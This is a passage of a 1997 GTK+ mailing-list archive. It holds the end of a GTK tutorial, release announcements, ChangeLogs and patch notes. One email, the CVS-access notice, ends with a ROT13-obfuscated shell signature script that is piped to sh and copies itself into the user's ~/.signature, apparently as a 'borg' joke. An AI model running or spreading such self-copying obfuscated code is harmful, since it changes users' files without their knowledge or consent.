GdkInputCondition condition,
GdkInputFunction function,
gpointer data);
Where the first arguement is the file descriptor you wish to have watched,
and the second specifies what you want gdk to look for. This may be one of:
GDK_INPUT_READ - Call your function when there is data ready for reading on
your file descriptor.
GDK_INPUT_WRITE - Call your function when the file descriptor is ready for
writing.
As I'm sure you've figured out already, the third arguement is the function
you wish to have called when the above conditions are satisfied, and the
fourth is the data to pass to this function.
The return value is a tag that may be used to stop gdk from monitoring this
file descriptor using the following function.
void gdk_input_remove (gint tag);
As with the gtk_timeout_add function above, a FALSE return from your
callback function will also cause gtk to stop monitoring the file
descriptor. (will have to verify this.)
IDLE FUNCTIONS
What about if you have a function you want called when nothing else is
happening ?
gint gtk_idle_add (GtkFunction function,
gpointer data);
void gtk_idle_remove (gint tag);
I won't explain the meaning of the arguements as they follow very much like
the ones above. The function pointed to by the first arguement to
gtk_idle_add will be called whenever the opportunity arises. As with the
others, returning FALSE will stop the idle function from being called.
------------------------------
This tutorial is written and maintained by Ian Main <slow@intergate.bc.ca>
This is free software, you may use any of these examples in any of your
code without including any disclaimer or copyright notice.
Many thanks to the contributors
Bawer Dagdeviren <chamele0n@geocities.com> (tutorial on menus)
And to the following from whom I stole^H^H^H^H^H borrowed some material
Raph Levien <raph@acm.org> (widget packing code and examples)
Peter Mattis <petm@xcf.berkeley.edu>
And to all of you who commented and helped refine this document.
Thanks.
From slow@intergate.bc.ca
Received: (qmail 17398 invoked from network); 4 Aug 1997 06:30:23 -0000
Received: from diablo.intergate.bc.ca (root@207.34.179.2)
by mail2.redhat.com with SMTP; 4 Aug 1997 06:30:23 -0000
Received: from slow (imain@pm30s12.intergate.bc.ca [207.34.182.177])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id XAA05255 for
<gtk-list@redhat.com>; Sun, 3 Aug 1997 23:52:16 -0700 (PDT)
Date: Sun, 3 Aug 1997 23:52:06 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: gtk-list@redhat.com
Subject: GTK Tutorial Website!
In-Reply-To: <Pine.A41.3.95b.970803214602.46698B-100000@dante15.u.washington.edu>
Message-ID: <Pine.LNX.3.96.970803234901.27493v-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi all :)
Thanks to Raph's gracious offer, the gtk tutorial now has a home! :)
You can take a look at it at
http://www.levien.com/~slow/gtk/tutorial/
I will be adding more to the pages, and puting images and things in, but
at least we got a start :)
I will still announce to the list when I upload large additions.
Thanks Raph! :)
Ian
From slow@intergate.bc.ca
Received: (qmail 18720 invoked from network); 5 Aug 1997 05:58:27 -0000
Received: from diablo.intergate.bc.ca (root@207.34.179.2)
by mail2.redhat.com with SMTP; 5 Aug 1997 05:58:27 -0000
Received: from slow (imain@pm8s6.intergate.bc.ca [205.206.194.141])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id XAA23336 for
<gtk-list@redhat.com>; Mon, 4 Aug 1997 23:20:58 -0700 (PDT)
Date: Mon, 4 Aug 1997 22:58:51 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: gtk-list@redhat.com
Subject: New GtkTutorial Page
In-Reply-To: <8767tlny62.fsf@nevermore.csres.utexas.edu>
Message-ID: <Pine.LNX.3.96.970804225401.27493C-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
I've just setup a front-page to the tutorial at
http://www.levien.com/~slow/gtk/
You can d/l the sgml source, an html tarball of the whole thing, or view
it as online html.
I've also started a changelog so you'll be able to see any new additions
that are made to the tutorial.
I'll probably add some screenshots of gtk and other odds and ends here in
the future. This'll give me a good place to post new news about gtk too
:)
Ian
From slow@intergate.bc.ca
Received: (qmail 12026 invoked from network); 7 Aug 1997 04:38:16 -0000
Received: from diablo.intergate.bc.ca (root@207.34.179.2)
by mail2.redhat.com with SMTP; 7 Aug 1997 04:38:16 -0000
Received: from slow (imain@pm22s18.intergate.bc.ca [207.34.181.183])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id WAA04461 for
<gtk-list@redhat.com>; Wed, 6 Aug 1997 22:01:54 -0700 (PDT)
Date: Wed, 6 Aug 1997 21:38:47 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: gtk-list@redhat.com
Subject: GTK+ Widget Documentation
In-Reply-To: <03251594506980@marshill.com>
Message-ID: <Pine.LNX.3.96.970806213205.9510A-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hmm.. where were all them folks who were so anctious to do documentation
before ? :) I would really like some help doing all these widgets.. it's
a big job!
Please, if you have a clue, pick a widget, write up a simple example,
explain how it works, and explain the functions. It's easy really..
honest!:)
Be good to let me or the list know if your gonna do one though, just so
there's no duplication of work.
Please please please please!!!
If we each do just a little bit, it'll be easy.. every little contribution
helps. If need be, I'll do the formatting and touchups.. whatever it
takes.. we just want to get the job done.
Ian
From hoek@pcjeroen.ubu.ruu.nl
Received: (qmail 471 invoked from network); 7 Aug 1997 07:48:10 -0000
Received: from pcjeroen.ubu.ruu.nl (hoek@131.211.208.90)
by mail2.redhat.com with SMTP; 7 Aug 1997 07:48:10 -0000
Received: (from hoek@localhost)
by pcjeroen.ubu.ruu.nl (8.8.6/8.8.6) id JAA23383
for gtk-list@redhat.com; Thu, 7 Aug 1997 09:47:20 +0200
From: Hoek <hoek@pcjeroen.ubu.ruu.nl>
Message-Id: <199708070747.JAA23383@pcjeroen.ubu.ruu.nl>
Subject: Re: [gtk-list] GTK+ Widget Documentation
In-Reply-To: <Pine.LNX.3.96.970806213205.9510A-100000@slow>
from Ian Main at "Aug 6, 97 09:38:47 pm"
To: gtk-list@redhat.com
Date: Thu, 7 Aug 1997 09:47:20 +0200 (MET DST)
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
> Hmm.. where were all them folks who were so anctious to do documentation
> before ? :) I would really like some help doing all these widgets.. it's
> a big job!
Well, we probably thought you could manage ;-) But seriously, I myself
have been extremely busy the past two weeks. Didn't even have time
to read the tutorial so far. But it's getting better, so I'll see
if I can have a look at it today and then do something this weekend.
> Be good to let me or the list know if your gonna do one though, just so
> there's no duplication of work.
Alright. Expect something soon.
Regards,
-----------------------------------------------------------------------------
this is Hoek v0.23 -- automatic mail replier hoek@pcjeroen.ubu.ruu.nl
see also http://www.araneus.com/
"Where do you live? Where is the manager? Where does he live?"
-- Grosse point Blanc
From yoavcs@netvision.net.il
Received: (qmail 4328 invoked from network); 23 Aug 1997 09:53:48 -0000
Received: from alpha.netvision.net.il (root@194.90.1.13)
by mail2.redhat.com with SMTP; 23 Aug 1997 09:53:47 -0000
Received: from pizza (ts003p12.pop4a.netvision.net.il [194.90.3.68])
by alpha.netvision.net.il (8.8.6/8.8.6) with ESMTP id MAA22263
for <gtk-list@redhat.com>; Sat, 23 Aug 1997 12:53:37 +0300 (IDT)
Message-ID: <33FEB33F.67961816@netvision.net.il>
Date: Sat, 23 Aug 1997 12:54:07 +0300
From: Yoav Cohen-Sivan <yoavcs@netvision.net.il>
X-Mailer: Mozilla 4.01 [en] (Win95; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: New version out soon?
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject says it all. Neither the GIMP nor Gtk have seen any official
work in about 3 months, I hope Peter, Josh and Spencer haven't decided
to abandon us...
Yoav
From sopwith@redhat.com
Received: (qmail 19922 invoked from network); 26 Aug 1997 00:14:01 -0000
Received: from lacrosse.redhat.com (sopwith@199.183.24.212)
by mail2.redhat.com with SMTP; 26 Aug 1997 00:14:01 -0000
Received: from localhost (sopwith@localhost)
by lacrosse.redhat.com (8.8.5/8.8.4) with SMTP
id UAA10575 for <gtk-list@redhat.com>; Mon, 25 Aug 1997 20:14:01 -0400
X-Authentication-Warning: lacrosse.redhat.com: sopwith owned process doing -bs
Date: Mon, 25 Aug 1997 20:14:01 -0400 (EDT)
From: Elliot Lee <sopwith@redhat.com>
To: gtk-list@redhat.com
Subject: New Gtk--
Message-ID: <Pine.LNX.3.95.970825201255.10535B-100000@lacrosse.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
I just grabbed gtk--0.3ext5 from Tero's web page, renamed it to gtk---0.4,
and put it on the FTP site (ftp://ftp.redhat.com/home/sopwith/)
Enjoy,
-- Elliot - http://www.redhat.com/
What's nice about GUI is that you see what you manipulate.
What's bad about GUI is that you can only manipulate what you see.
| http://www.cauce.org/ | http://www.linuxnet.org/ |
From p150650@lenkkari.cs.tut.fi
Received: (qmail 9910 invoked from network); 26 Aug 1997 22:54:31 -0000
Received: from lenkkari.cs.tut.fi (daemon@130.230.36.23)
by mail2.redhat.com with SMTP; 26 Aug 1997 22:54:31 -0000
Received: from localhost (tohveli.cs.tut.fi) by lenkkari.cs.tut.fi with ESMTP
(1.37.109.16/16.2) id AA289465973; Wed, 27 Aug 1997 01:52:54 +0300
Message-Id: <199708262252.AA289465973@lenkkari.cs.tut.fi>
From: Tero Pulkkinen <terop@modeemi.cs.tut.fi>
To: gtk-list@redhat.com
X-Url: http://www.cs.tut.fi/~p150650/
Subject: gtk---0.4
Date: Wed, 27 Aug 1997 01:45:21 +0300
Sender: p150650@lenkkari.cs.tut.fi
There's was few fatal bugs in 0.4 version which caused that it didnt
compile with pgcc (because of pgcc's better error detection).
I placed a fixed version to http://www.iki.fi/terop/sigslot.html
(gtk---0.4fix1.tar.gz)
-- Tero Pulkkinen -- terop@modeemi.cs.tut.fi --
From schizm@pc-4374.bc.rogers.wave.ca Thu May 11 19:23:33 2000
Received: (qmail 8918 invoked from network); 29 Aug 1997 23:13:49 -0000
Received: from pc-4374.bc.rogers.wave.ca (papasmurf@24.113.49.126)
by mail2.redhat.com with SMTP; 29 Aug 1997 23:13:48 -0000
Received: (from schizm@localhost)
by pc-4374.bc.rogers.wave.ca (8.8.5/8.8.5) id QAA06215;
Fri, 29 Aug 1997 16:20:21 -0700
To: gtk-list@redhat.com
Subject: official GTK anytime soon?
From: Jeff <schizm@pc-4374.bc.rogers.wave.ca>
Date: 29 Aug 1997 16:20:20 -0700
Message-ID: <m3lo1ka85n.fsf@pc-4374.bc.rogers.wave.ca>
Lines: 7
X-Mailer: Gnus v5.3/Emacs 19.34
hm, june 6 was the last official release, when is another one expected,
does anyone know ? It would be nice to have a version that has all of
these nice patches (right justificated menubar items etc) in it for
public consumption, not just people who like to patch up their source :>
Jeff
From atai@ece.ucsd.edu
Received: (qmail 26455 invoked from network); 30 Aug 1997 00:51:38 -0000
Received: from mailbox1.ucsd.edu (132.239.1.53)
by mail2.redhat.com with SMTP; 30 Aug 1997 00:51:37 -0000
Received: from vision.ucsd.edu (vision.ucsd.edu [132.239.223.49])
by mailbox1.ucsd.edu (8.8.5/8.6.9) with ESMTP id RAA06506 for
<gtk-list@redhat.com>; Fri, 29 Aug 1997 17:51:36 -0700 (PDT)
Received: (from atai@localhost)
by vision.ucsd.edu (8.8.5/SOEGW-PSEUDO-4.2-SunOS-8.6.x)
id RAA25994; Fri, 29 Aug 1997 17:51:24 -0700 (PDT)
for gtk-list@redhat.com
From: atai@ece.ucsd.edu (Andy Tai)
Message-Id: <199708300051.RAA25994@vision.ucsd.edu>
Subject: latest offical gtk seems to appear in ftp.gimp.org
To: gtk-list@redhat.com
Date: Fri, 29 Aug 1997 17:51:24 -0700 (PDT)
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
This is not mentioned on this list yet, but I just find that
that latest gtk just appeared in ftp://ftp.gimp.org/pub/gtk/
The version's readme file says:
"This is simply Jay Painter's gtk+-U1.tar.gz, unofficial distribution,
renamed and made official."
--
Li-Cheng Tai (Andy Tai) e-mail: atai@ece.ucsd.edu
Free software: the software by the people, of the people and for the people,
worldwide. Develop! Use! Enhance! And enjoy!
From slow@intergate.bc.ca Thu May 11 19:23:33 2000
Received: (qmail 26988 invoked from network); 30 Aug 1997 00:55:06 -0000
Received: from diablo.intergate.bc.ca (root@207.34.179.2)
by mail2.redhat.com with SMTP; 30 Aug 1997 00:55:05 -0000
Received: from slow (imain@pm8s28.intergate.bc.ca [205.206.194.163])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id SAA27848 for
<gtk-list@redhat.com>; Fri, 29 Aug 1997 18:31:01 -0700 (PDT)
Date: Fri, 29 Aug 1997 17:55:39 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: gtk-list@redhat.com
Subject: Re: [gtk-list] official GTK anytime soon?
In-Reply-To: <m3lo1ka85n.fsf@pc-4374.bc.rogers.wave.ca>
Message-ID: <Pine.LNX.3.96.970829175231.886P-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On 29 Aug 1997, Jeff wrote:
>
> hm, june 6 was the last official release, when is another one expected,
> does anyone know ? It would be nice to have a version that has all of
> these nice patches (right justificated menubar items etc) in it for
> public consumption, not just people who like to patch up their source :>
Check ftp.gimp.org/pub/gtk
-rw-rw-r-- 1 ftpuser ftpusers 591234 Aug 28 17:32 gtk+970828.tar.gz
The README states that it's just U1 released officially.
>
> Jeff
>
> --
> To unsubscribe: mail -s unsubscribe gtk-list-request@redhat.com < /dev/null
>
>
Regards,
Ian
--
No problem is insoluble in all conceivable circumstances.
From Tim.Janik@Hamburg.Netsurf.DE
Received: (qmail 21424 invoked from network); 13 Sep 1997 05:04:04 -0000
Received: from dip022-2.hamburg.netsurf.de (HELO birgrave.birnet.private)
(timj@194.195.202.22)
by mail2.redhat.com with SMTP; 13 Sep 1997 05:04:04 -0000
Received: from birgrave (timj@localhost)
by birgrave.birnet.private (8.8.5/8.8.5) with internal id HAA03240;
Sat, 13 Sep 1997 07:06:05 +0200
From: Tim Janik <Tim.Janik@Hamburg.Netsurf.DE>
Message-Id: <199709130506.HAA03240%Tim.Janik@Hamburg.Netsurf.DE>
Date: Sat, 13 Sep 1997 07:06:04 +0200 (CEST)
To: gtk-list@redhat.com
cc: ftp-admin@gimp.org, Tim Janik <timj@psynet.net>
Subject: [patch] gtk-timj-970913-0.patch
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
gtk-timj-970913-0.patch (against gtk+970828.tar.gz)
hi all,
this patch includes three new functions that i *very* much need to be included
into gtk+ to get GUBI and GtkTerm to work.
gtk/gtkaccelerator.[hc]:
- void gtk_accelerator_table_set_mod_mask (...)
this function sets a default or a per table mask for the modifiers
that are checked on a key.
by setting this to e.g. ~GDK_MOD2_MASK, acceleraters will work
without taking Num-Lock into consideration.
without any invokation of this function, the normal gtk+
behaviour on accelerators will be preserved.
FYI: i'm using
gtk_accelerator_table_set_mod_mask (NULL,
GDK_SHIFT_MASK |
GDK_CONTROL_MASK |
GDK_MOD1_MASK);
right after my gtk_init() call in main.c wich let's my application
check for only shift, control and alt (no worries about num-lock,
shift-lock or what-the-hell-mod-key any more ;).
gdk/gdk.h, gdk/gdkwindow.c:
- void gdk_window_clear_area_e()
this function does exactly the same as gdk_window_clear_area(), but
will generate an expose event on the cleared area.
- void gdk_window_copy_area() is just a wrapper around XCopyArea().
this lets on copy all planes within a window or even between
windows.
since the changes applied by this patch are very straight forward, bugs are
quite unlikely. but try it out and show me otherwise ;)
i uploaded this patch to
ftp://ftp.gimp.org/incoming/.
and it should move to
ftp://ftp.gimp.org/pub/gtk/patches/gtk-timj-970913-0.patch.gz
quite soon.
Tim Janik <timj@psynet.net>
---
ciaoTJ
From petm@scam.XCF.Berkeley.EDU
Received: (qmail 21105 invoked from network); 15 Sep 1997 19:59:10 -0000
Received: from scam.xcf.berkeley.edu (HELO xcf.berkeley.edu) (128.32.43.201)
by mail2.redhat.com with SMTP; 15 Sep 1997 19:59:08 -0000
Received: (qmail 4700 invoked from network); 15 Sep 1997 19:50:50 -0000
Received: from localhost (127.0.0.1)
by localhost with SMTP; 15 Sep 1997 19:50:50 -0000
To: gtk-list@redhat.com
Subject: gtk+970915.tar.gz
Date: Mon, 15 Sep 1997 12:50:46 -0700
From: Peter Mattis <petm@scam.XCF.Berkeley.EDU>
I've uploaded a new version of gtk+ to ftp://ftp.gimp.org/pub/gtk.
This version features significant changes from 970828. The number one
new feature is the queued drawing and resizing. That is, when a widget
wants to draw itself it calls gtk_widget_queue_draw and it will be
drawn when during the next idle period. Similarly
gtk_widget_queue_resize will cause the widgets size to be checked
during the next idle period. The queued resizing should lessen or even
eliminate the need for gtk_container_{disable,enable}_resize.
The other notable change is in the way grabs work. The gtk event
dispatcher will pass an event directly to the event widget if the
event widget is a child of the grab widget. The old dispatcher would
always pass the event to the grab widget. The result is that if you
call gtk_grab_add on a window only that window and all of its children
will get events. Which sounds an awful lot like a modal dialog to me.
Lastly, I've also incorporated most (all?) of the patches I've
received. If your patch isn't in here then I've lost it and you should
resubmit it against 970915.
Note: The addition of the queued resizing was accompanied by a cleanup
in the gemoetry management code. The "need_resize" signal for
containers changed causing widgets which override that signal to need
to be modified. Its now the standard practice to call
gtk_widget_queue_resize instead of gtk_container_need_resize when a
widget needs to be resized.
Peter
PS I would be surprised if there aren't quite a few stupid (and not so
stupid) bugs.
From petm@scam.XCF.Berkeley.EDU
Received: (qmail 29045 invoked from network); 16 Sep 1997 21:18:05 -0000
Received: from scam.xcf.berkeley.edu (HELO xcf.berkeley.edu) (128.32.43.201)
by mail2.redhat.com with SMTP; 16 Sep 1997 21:18:05 -0000
Received: (qmail 12608 invoked from network); 16 Sep 1997 21:09:46 -0000
Received: from localhost (127.0.0.1)
by localhost with SMTP; 16 Sep 1997 21:09:46 -0000
To: gtk-list@redhat.com
Subject: gtk+970916.tar.gz
Date: Tue, 16 Sep 1997 14:09:45 -0700
From: Peter Mattis <petm@scam.XCF.Berkeley.EDU>
I've uploaded gtk+970916.tar.gz to ftp://ftp.gimp.org/pub/gtk. This
release includes 4 patches from the kind and generous gtk
community. They are:
- Andrew Logan Kieschnick's change to gtkpreview so that round-off error
is not a problem when the gamma value is set to 1.0.
- Jay Painter's viewport resizing changes.
- Owen Taylor's event box widget and fixes for X input support.
- Elliot Lee's changes to support Objective C.
Peter
From sopwith@cuc.edu
Received: (qmail 32715 invoked from network); 19 Sep 1997 18:17:07 -0000
Received: from helix.cs.cuc.edu (HELO cuc.edu) (sopwith@204.32.57.128)
by mail2.redhat.com with SMTP; 19 Sep 1997 18:17:07 -0000
Received: from localhost (sopwith@localhost)
by cuc.edu (8.8.5/8.8.5) with SMTP id OAA23333;
Fri, 19 Sep 1997 14:17:09 -0400
Date: Fri, 19 Sep 1997 14:17:09 -0400 (EDT)
From: Elliot Lee <sopwith@cuc.edu>
X-Sender: sopwith@helix
To: gtk-list@redhat.com, gnome@nuclecu.unam.mx
Subject: CVS access to things
Message-ID: <Pine.LNX.3.95.970919140340.21991B-100000@helix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
CVSROOT=:pserver:anonymous@cvs.gnome.org:/home/cvs
I'm not going to give a CVS tutorial here; I believe there's one on
www.mnemonic.browser.org somewhere that describes anonymous access to
their CVS tree, which you can change to fit this application.
The following modules are available:
gtk+ gimp gimp-data gnome
This is read-only access - if you have a patch you want incorporated, send
it to the appropriate list for now, and someone will incorporate it.
Thanks to Skyhook (skyhook@x4.net) for hosting this all.
Hope this helps,
#!/bin/sh -
set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \
shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\
echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh
From petm@scam.XCF.Berkeley.EDU Thu May 11 19:23:36 2000
Received: (qmail 15700 invoked from network); 25 Sep 1997 20:23:31 -0000
Received: from scam.xcf.berkeley.edu (HELO xcf.berkeley.edu) (128.32.43.201)
by mail2.redhat.com with SMTP; 25 Sep 1997 20:23:30 -0000
Received: (qmail 26870 invoked from network); 25 Sep 1997 20:15:00 -0000
Received: from localhost.berkeley.edu (127.0.0.1)
by localhost.berkeley.edu with SMTP; 25 Sep 1997 20:15:00 -0000
To: gimp-developer@scam.XCF.Berkeley.EDU, gtk-list@redhat.com
Subject: gtk+970925.tar.gz
Date: Thu, 25 Sep 1997 13:15:00 -0700
From: Peter Mattis <petm@scam.XCF.Berkeley.EDU>
is now available at ftp://ftp.gimp.org/pub/gtk.
This release simply includes some of the patches that have been coming
in including fixes for the queued drawing and resizing and some new
widgets (fixed and button box).
GIMP developers be aware that the next version of the GIMP (0.99.12)
will not contain GTK. That is, you will have to get and compile GTK
separately.
Peter
From p150650@lenkkari.cs.tut.fi Thu May 11 19:23:39 2000
Received: (qmail 6827 invoked from network); 17 Oct 1997 02:17:25 -0000
Received: from lenkkari.cs.tut.fi (daemon@130.230.36.23)
by mail2.redhat.com with SMTP; 17 Oct 1997 02:17:25 -0000
Received: from localhost (tennari.cs.tut.fi) by lenkkari.cs.tut.fi with ESMTP
(1.37.109.16/16.2) id AA267894595; Fri, 17 Oct 1997 05:16:36 +0300
Message-Id: <199710170216.AA267894595@lenkkari.cs.tut.fi>
From: Tero Pulkkinen <terop@modeemi.cs.tut.fi>
To: gtk-list@redhat.com
X-Url: http://www.cs.tut.fi/~p150650/
Subject: gtk---0.5
Date: Fri, 17 Oct 1997 05:16:35 +0300
Sender: p150650@lenkkari.cs.tut.fi
New version of gtk--, a C++ wrapper for gtk is out.
Check out http://www.iki.fi/terop/gtk/gtk--.html
New features include proper static type checking for existing widgets
(especially signals) and some minor bugfixes. => now there's no need
to use unsafe interfaces.
-- Tero Pulkkinen -- terop@modeemi.cs.tut.fi --
From federico@nuclecu.unam.mx
Received: (qmail 4028 invoked from network); 25 Oct 1997 07:36:44 -0000
Received: from bananoid.nuclecu.unam.mx (federico@132.248.29.97)
by mail2.redhat.com with SMTP; 25 Oct 1997 07:36:44 -0000
Received: (from federico@localhost)
by bananoid.nuclecu.unam.mx (8.8.5/8.8.5) id CAA10481;
Sat, 25 Oct 1997 02:24:43 -0500
Date: Sat, 25 Oct 1997 02:24:43 -0500
Message-Id: <199710250724.CAA10481@bananoid.nuclecu.unam.mx>
From: Federico Mena <federico@nuclecu.unam.mx>
To: gtk-list@redhat.com
Subject: Gtk-971025 is released
Reply-to: federico@nuclecu.unam.mx
Hello, everyone
I have just released version 971025 of Gtk+. Peter told me that he
was extremely busy and that he could not put out a new release, so I
did.
You can find gtk+971025 here:
ftp://ftp.gimp.org/pub/gtk
New in this release are bugfixes and the still-experimental drag and
drop patches by Elliot Lee.
It would be a good idea if people could fix and finish support for
drag and drop. This is a very important feature that will be of use
in the Gnome and Gimp projects, and it needs to be finished soon.
Have fun,
Quartic
From jpaint@serv.net
Received: (qmail 318 invoked from network); 10 Nov 1997 06:28:50 -0000
Received: from itchy.serv.net (205.153.153.233)
by mail2.redhat.com with SMTP; 10 Nov 1997 06:28:50 -0000
Received: from localhost (jpaint@localhost)
by itchy.serv.net (8.8.5/8.8.5) with SMTP id WAA10431
for <gtk-list@redhat.com>; Sun, 9 Nov 1997 22:28:57 -0800 (PST)
Date: Sun, 9 Nov 1997 22:28:57 -0800 (PST)
From: Jay Painter <jpaint@serv.net>
To: gtk-list@redhat.com
Subject: gtk+-971109 released
Message-ID: <Pine.BSI.3.95.971109222631.4904A-100000@itchy.serv.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
gtk+-971109 has been released. Get it a ftp.gimp.org /pub/gtk.
New stuff
====================================================
Sun Nov 9 1997 Jay Painter <jpaint@serv.net>
* Fixed problems with makefiles relating to the bug
which required glib to be installed.
* Fixed makefiles to incluce the xpm's in gtk+/gtk needed
for testgtk.
* Updated gtk+ and gtk+/glib to libtool-1.0f
Fri Nov 7 1997 Jay Painter <jpaint@serv.net>
* gtk/gtktext.c: return char_widths[ch & 0xff]; in line 2152
Thr Nov 5 1997 Jay Painter <jpaint@serv.net>
* gtk/testgtk.c: added drag and drop test, removed the test hack
from the button test
Tue Nov 4 08:28:57 1997 Federico Mena
<federico@bananoid.nuclecu.unam.mx>
* gtk/gtkmain.c (gtk_handle_idle): Patch from David Mosberger to
avoid crashes when handling idle function (this manifested itself
in the Umax and Microtek backends in SANE.
Sun Nov 2 07:34:56 1997 Tim Janik <timj@psynet.net>
* gtk/gtkfilesel.c: Small fixes about a segmentation viaolation
cause by a double click in the directoy list (introduced by my
previous changes).
* gtk/gtklist.c: Small fixes to gtk_list_add() and
gtk_list_remove().
* gtk/testgtk.c (list_add): Applied Stefan Wille's patch to make
this
function do something ;).
Fri Oct 31 Jay Painter <jpaint@serv.net>
*gdk/gdk.c: reformatted DND code for GTK coding standards
*gdk/gdkwindow.c: changed memory allocation for DND to q_mem stuff
Thu Oct 30 Jay Painter <jpaint@serv.net>
* gdk/gdkwindow.c:
* gdk/gdk/gdk.h:
* gtk/gtkwidget.h:
* gtk/gtkwidget.c: Applied Stephan Willie's shaped window patch
* gdk/gdkwindow:
* gdk/gdk.h:
* gtk/gtkwidget.h:
* gtk/gtkwidget.c: reformatted the DND code to conform to GTK
coding standards
* gtk/testgtk: massive fixes, SW's shaped window example
Thu Oct 30 07:33:27 1997 Tim Janik <timj@psynet.net>
* gtk/gtklistitem.c (gtk_real_list_item_toggle): applied Johannes
Keukelaar's <johannes@nada.kth.se> patch for keyboard support in
GtkList widgets.
* gtk/gtkfilesel.c: adapted dir and file list selection
behaviour to deal with keyboard selections. this is a little
bit tricky: in the dir list it just changes the entrys value on a
one
button press. but on a keyboard selection via
gtk_widget_activate() it
does a new population (likewise on a double click) as this seems
more
obvious.
1997-10-25 Marius Vollmer <mvo@zagadka.ping.de>
* gdk/gdkcolor.c (gdk_colormap_get_system): Initialize
private->ref_count.
-----------------------------------------------------------------------
Jay Painter -- jpaint@serv.net -- jpaint@gimp.org
http://www.serv.net/~jpaint
From jpaint@serv.net
Received: (qmail 24468 invoked from network); 1 Dec 1997 08:09:09 -0000
Received: from itchy.serv.net (205.153.153.233)
by mail2.redhat.com with SMTP; 1 Dec 1997 08:09:09 -0000
Received: from localhost (jpaint@localhost)
by itchy.serv.net (8.8.5/8.8.5) with SMTP id AAA10622
for <gtk-list@redhat.com>; Mon, 1 Dec 1997 00:10:19 -0800 (PST)
Date: Mon, 1 Dec 1997 00:10:18 -0800 (PST)
From: Jay Painter <jpaint@serv.net>
To: gtk-list@redhat.com
Subject: gtk+-971201
Message-ID: <Pine.BSI.3.95.971201000316.10356A-100000@itchy.serv.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
A new GTK snapshot is avaible at ftp.gimp.org /pub/gtk.
Here's the ChangeLog entries since the last snapshot:
-----------------------------------------------------
Sun Nov 30 1997 Jay Painter <jpaint@serv.net>
* gtk/gtknotebook.c: fixed a old bug where all the notebook pages
which were not displayed when the notebook widget was realized
were
never size allocated when they were realized.
Thr Nov 28 1997 Jay Painter <jpaint@serv.net>
* gtk/gtklist.h: removed GtkSelectionMode
* gtk/gtkenums.h: added GtkSelectionMode
Fri Nov 28 01:26:55 1997 Tim Janik <timj@psynet.net>
* gtk/gtkwindow.c (gtk_window_show): propagate a size_request
before
the initial window creations (prevents windows with size of
-1x-1).
* gtk/gtkmain.c (gtk_main_level): new function to determine
the current recursion level of gtkmain().
(gtk_true) (gtk_false): new functions implemented as a convenience
for signals that just need a handler with the appropriate return
value.
Tue Nov 25 1997 Owen Taylor <owt1@cornell.edu>
gdk.c: Fix so that "other_events" are actually generated
Tue Nov 25 1997 Owen Taylor <owt1@cornell.edu>
Patches to support internationalized input by:
Takashi Matsuda <matsu@arch.comp.kyutech.ac.jp>
TANAKA Shinya <shinya@race.u-tokyo.ac.jp>
From the README:
Feature:
Followings are the main feature of this patch.
* support XIM protocol.
* GtkEntry widget support Over-The-Spot and Root style input.
* input style is configurable by command-line option.
Furthermore, this patch includes several changes which are useful
without XIM too.
* copy and paste with other clients by compound text.
* Window title can be specified by multi byte string.
configure.in:
Added --with-locale and --enable-xim options
gdk/Makefile.am:
gdk/gdki18n.h [new file]
Multibyte string manipulation functions
gdk/gdk.c
gdk/gdk.h
gdk/gdkprivate.h
Input method and context handling functions
Command line options to control input methods
Changes to KeyPress handling to support input methods
Fixes to not return events for destroyed windows
gdk/gdkselection.c
Text property handling functions
gdk/gdkwindow.c
Set window title by multibyte string
gtk/gtkentry.c
Support for using an input context for XIM input.
Cut and paste using compound text.
Improvements to pasting (no longer replace the active selection
with itself OWT)
gtk/gtkselection.c
fix to send selection clear events to the right owner
gtk/testgtkrc
Added a default fontset that will allow international characters
INSTALL
Some rudimentary documentation about the new configuration
options.
Mon Nov 24 1997 Owen Taylor <owt1@cornell.edu>
gtk/gtkaspectframe.c:
Some minor improvements to rounding in aspectframes.
Make sure that child allocation is always >= 0
Always trigger size allocation with gtk_widget_queue_resize
to prevent calling size_allocate before allocation done.
Mon Nov 24 1997 Owen Taylor <owt1@cornell.edu>
gtk/gtkframe.c:
Changed tests for drawability to GTK_WIDGET_DRAWABLE
Always trigger size allocation with gtk_widget_queue_resize
to prevent calling size_allocate before allocation done.
Mon Nov 24 1997 Jay Painter <jpaint@serv.net>
gtk-dairiki-971117-2.patch
gtk/gtkaspectframe.c (gtk_aspect_frame_size_allocate): When
computing new dimensions of the subwidget, round to nearest
integer rather than truncating.
Mon Nov 24 1997 Jay Painter <jpaint@serv.net>
gtk-dairiki-971117-1.patch
